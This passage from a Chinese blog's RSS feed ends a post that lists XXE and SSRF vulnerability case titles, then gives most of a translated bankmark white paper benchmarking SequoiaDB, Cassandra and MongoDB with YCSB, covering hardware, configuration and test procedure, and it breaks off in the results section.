style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 乌云：139邮箱XXE漏洞可读取文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 乌云：从开源中国的某XXE漏洞到主站shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网，没爆出来的估计很多被用作杀器了</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　案例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 乌云：百度贴吧SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 乌云：新浪SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 乌云：阿里巴巴SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上面几个案例有的是分享功能，有的是其他功能，共同点在于都是跟的url参数，且没做限制，导致内网信息泄露</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（未完...）</div></a></div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421646.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:42 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NoSQL性能测试白皮书</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421645.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:31:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421645.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421645.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421645.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421645.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421645.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">编者按</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　最近，bankmark公司针对目前市面上流行的NoSQ数据库SequoiaDB、Cassandra、MongoDB进行了详细的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能测试</strong></u></a>，InfoQ经授权发布中文版白皮书。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">正文</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　1.简介</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　作为一项快速发展的极具创新性的IT技术，NoSQL 技术在大数据和实时网页应用中的运用在最近几年呈现了大量的增长。因为NoSQL数据库的存储允许更灵活的开发方式和执行方式，这些NoSQL数据库能够在许多的工商业应用领域很好地替代传统关系型<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>（RDBMS）。因为弱化了RDBMS的一些特征，如一致性和关系型数据模型，NoSQL技术大大提高了数据库的可扩展能力和可用性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在这份报告中，bankmark针对一系列的基准测试实验做了报告，这些测试是为了对比SequoiaDB和现在市面上的其他一些NoSQL产品在不同的负载情境下的性能表现。因此，bankmark的测试团队使用了 Yahoo Cloud Serving Benchmark（YCSB）方案作为测试的工具。bankmark团队针对所有的系统使用了可能出现的所有配置方案，最终选择了哪些造成了较大的性能瓶颈的配置方案，在此过程中，我们参考了所有这些数据库的官方文档，和其他所有公开的技术资料。所有的主要方案我们都会在报告中详细记录，一份完全详细的报告还会包括所有的配置细节。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　现在的这一份报告，bankmark着重于每款数据库在不同的用例下的性能表现，同时也保证了不同结果间的最大可比性。这些大量测试的一个目的之一就是得到这些产品最真实的性能表现。另一方面，分布式的测试环境需要一定的优化来满足数据库集群环境运行的需要。所有的被测试系统都按照集群的需求来进行配置，其中还有一些针对分区操作进行的优化，以满足结果的可比较性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　所有的测试都由bankmark团队完成，所有重要的细节包括物理环境、测试配置信息等都在测试报告中有详细的记录，我们还将一份详细版本的报告，这份报告将能确保我们进行的实验都是可重复的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2.测试结果概述</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在我们的测试中，对三款数据库产品进行了比较，SequoiaDB[1]、Cassandra[2]以及 MongoDB[3]。所有的产品都在一个10节点集群的&#8220;全内存环境&#8221;（原始数据大小为总RAM大小的1/4）或是&#8220;大部分内存环境&#8221;（原始数据大小为总RAM大小的1/2）的环境下进行安装测试。我们选用业界广泛使用的YCSB工具作为基准性能测试的平台。在所有测试中，所有的数据都进行3次复制备份，以应对容错操作。复制测试则使用了倾斜负载（Zipfian或是最新的分发版）。详细的配置将在下面展示，也会在之后的详细版报告中记录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　所有测试的结果没有显示出三款之中一个完全的最优者。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们的&#8220;大部分内存环境&#8221;下的测试显示Cassandra 使用了最多的内存，因此也需要在多读少写负载的情况下，进行更多的磁盘I/O操作，这也导致了其严重的性能下降。在&#8220;大部分内存环境&#8221;的设定下，SequoiaDB的性能在大多数情境下都大大优于其他的产品，除了在Cassandra的强项多写少读负载。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在&#8220;全内存环境&#8221;（原始数据大小为总RAM大小的1/4）下，SequoiaDB在读请求下表现更好，而Cassandra在写请求下表现稍好。MongoDB则几乎在所有的测试情境下都垫底。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3.硬件和软件配置</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这一个部分，我们将介绍这次测试中我们所使用的软件和硬件环境。这次的测试是在SequoiaDB的实验室中一个集群上进行的，所有的测试都在物理硬件上进行，没有使用任何虚拟化的层级。基本系统的搭建以及MongoDB和SequoiaDB的基本安装操作都是由训练有素的专业人员进行的。bankmark有着完全的访问集群和查看配置信息的权限。Cassandra则由bankmark来进行安装。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3.1集群硬件</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　所有的数据库测试都在一个10节点的集群上进行（5台 Dell PowerEdge R520 服务器，5台Dell PowerEdge R720 服务器），另外还有5台HP ProLiant BL465c刀片机作为YCSB客户端。详细硬件信息如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3.1.1 5x Dell PowerEdge R520 (<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">server</strong></u></a>)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1x Intel Xeon E5-2420, 6 cores/12 threads, 1.9 GHz</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　47 GB RAM</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6x 2 TB HDD, JBOD</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3.1.2 5x Dell PowerEdge R720 (server)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1x Intel Xeon E5-2620, 6 cores/12 threads, 2.0 GHz</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　47 GB RAM</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6x 2 TB HDD, JBOD</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3.1.3 5x HP ProLiant BL465c (clients)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1x AMD Opteron 2378</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　4 GB RAM</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　300 GB logical HDD on a HP Smart Array E200i Controller, RAID 0<br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">3.2集群软件</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　集群以上述的硬件为物理系统，而其中则配置了不同的软件。所有的软件实用信息以及对应的软件版本信息如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　3.2.1 Dell PowerEdge R520 and R720 (used as server)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　操作系统（OS）: Red Hat Enterprise Linux Server 6.4</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　架构（Architecture）: x86_64</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　内核（Kernel）: 2.6.32</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Apache Cassandra: 2.1.2</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　MongoDB: 2.6.5</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　SequoiaDB: 1.8</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　YCSB: 0.1.4 master (brianfrankcooper version at Github) with bankmark changes (see 4.1)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">3.2.2 HP ProLiant BL465c (used as client)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　操作系统（OS）: SUSE Linux Enterprise Server 11</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　架构（Architecture）: x86_64</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　内核（Kernel）: 3.0.13</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　YCSB: 0.1.4 master (brianfrankcooper version at Github) with bankmark changes (see 4.1)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">4.安装过程</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　三款数据库系统使用YCSB进行基准测试，分别是Apache Cassandra、MongoDB 以及 SequoiaDB。下来这一部分，分别介绍了这三者如何安装。集群上运行的数据库系统使用3组副本以及3组不同的磁盘。压缩性能的比较只在带有此功能的系统上进行。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　4.1集群内核参数</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　下面的配置参数为三款数据库系统共同使用：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　vm.swappiness = 0</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　vm.dirty_ratio = 100</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　vm.dirty_background_ratio = 40</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　vm.dirty_expire_centisecs = 3000</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　vm.vfs_cache_pressure = 200</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　vm.min_free_kbytes = 3949963</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　4.2 APACHE CASSANDRA</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Apache Cassandra在所有服务器上都按照官方文档[4]进行安装，其配置也按照推荐的产品配置[5] 进行。提交的日志和数据在不同的磁盘进行存储（disk1 存储提交的日志，disk5和disk6 存储数据）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">4.3 MONGODB</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　MongoDB由专业的工作人员安装。为了使用三个数据磁盘以及在集群上运行复制组，我们根据官方文档有关集群安装的介绍[6]，使用了一套复杂的方案。3个集群点上都启动了配置服务器。在十台服务器上，每台一个mongos实例（用于分区操作）也同时启动。每一个分区都被加入集群当中。为了使用所有三个集群以及三个复制备份，10个复制组的分布按照下表进行配置（列 为集群节点）：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50111" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315431TCmD.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　MongoDB没有提供自动启动已分区节点的机制，我们专门为了10个集群节点将手动启动的步骤写入了YCSB工具当中。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">4.4 SEQUOIADB</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　SequoiaDB由专业的工作人员按照官方文档进行安装[7]。安装设置按照了广泛文档中有关集群安装和配置[8]的部分进行。SequoiaDB可以用一个统一的集群管理器启动所有的实例，内置的脚本 &#8220;sdbcm&#8221;能用来启动所有服务。三个数据库系统的节点由catalog节点进行选择。三个SequoiaDB的实例在每个节点启动，访问自己的磁盘。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><div style="word-break: break-all; margin: 10px 0px;">　<strong style="word-break: break-all;">　4.5 YCSB</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　YCSB在使用中存在一些不足。它并不能很好的支持不同主机的多个YCSB实例运行的情况，也不能很好支持多核物理机上的连续运行和高OPS负载。 此外，YCSB也不是很方便温服。bankmark根据这些情况，对资源库中的YCSB 0,1,14版本 其做了扩展和一些修改优化。较大的改动如下：</div><div style="word-break: break-all; margin: 10px 0px;">　　增加了自动测试的脚本</div><div style="word-break: break-all; margin: 10px 0px;">　　Cassandra的jbellis驱动</div><div style="word-break: break-all; margin: 10px 0px;">　　MongoDB的achille驱动</div><div style="word-break: break-all; margin: 10px 0px;">　　增加批插入功能（SequoiaDB提供）</div><div style="word-break: break-all; margin: 10px 0px;">　　更新了MongoDB 2_12的驱动借口，同时增加了flag属性来使用批处理模式中的&#8221;无序插入&#8220;操作。</div><div style="word-break: break-all; margin: 10px 0px;">　　SequoiaDB驱动</div><div style="word-break: break-all; margin: 10px 0px;">　　针对多节点安装配置以及批量加载选项的一些改动<br /><br />&nbsp;<strong style="word-break: break-all;">5.基准测试安装</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如下的通用和专用参数为了基准测试而进行运行：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　十台服务器（R520、R720）作为数据库系统的主机，五台刀片机作为客户端。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　使用第六台刀片机作为运行控制脚本的系统</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　每个数据库系统将数据写入3块独立的磁盘</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　所有测试运行都以3作为复制备份常数</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　bankmark的YCSB工具，根据工作说明中的测试内容提供了负载文件：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50112" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315432A0BU.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　对于数据载入，workload[1-5]-warmup或者workload[1-5]文件都可以使用，需要根据具体的需求载入类型选择。5种负载中的每一个都会被分为一个针对最终结果的负载文件和一个在真正运行测试之前运行的预热文件。为了避免和YCSB的内部访问记录控制部分冲突，预热阶段将不会进行插入操作。通过一个线程扩展的测试，我们发现每个YCSB实例将会使用64个线程对于所有的3个系统都是表现最好的。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　如下是测试中用到的其他的参数：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　尽可能的使用压缩功能</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　每个YCSB客户端的线程数：64</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　产生：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　测试用例1：2亿（2000万每个节点）记录</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　测试用例2：1亿（1000万每个节点）记录</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　每条记录由键user&lt;ID&gt; 和 十个域 Field&lt;ID&gt; 组成。YCSB默认的记录大小为100byte，最终的平均记录大小为1128 Bytes （10 fields + field names + key）</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　每个key value存储的通用基准测试步骤为：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　启动数据库服务器</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　迭代提供的负载文件中的5个负载：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　运行单数据载入（无时间限制，负载文件中的 workload[1-5]-warmup）</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　暂停30分钟给每个系统进行清空等操作</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　运行30分钟的负载预热操作（负载文件中的 workload[1-5]-warmup）</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　运行30分钟的负载（负载文件中的 workload[1-5]）</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　停止数据库服务器</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">5.1指导方针/ 步骤</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　所有的系统都运行一次单条载入，一次预热还有一次正式测试。对于支持批量载入的系统，MongoDB和SequoiaDB，还有一项批量载入的测试要运行。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">5.2配置信息矩阵</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50113" target="_blank" style="word-break: break-all; color: #45a2fc;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315433k0Vx.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">6.基准测试结果</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">　　6.1测试用例1（2亿记录/ 2000万每节点）</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　在此测试中，原始数据大约为总系统RAM的45%。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=50114" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315434AO2W.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=50115" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121713154350F1p.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 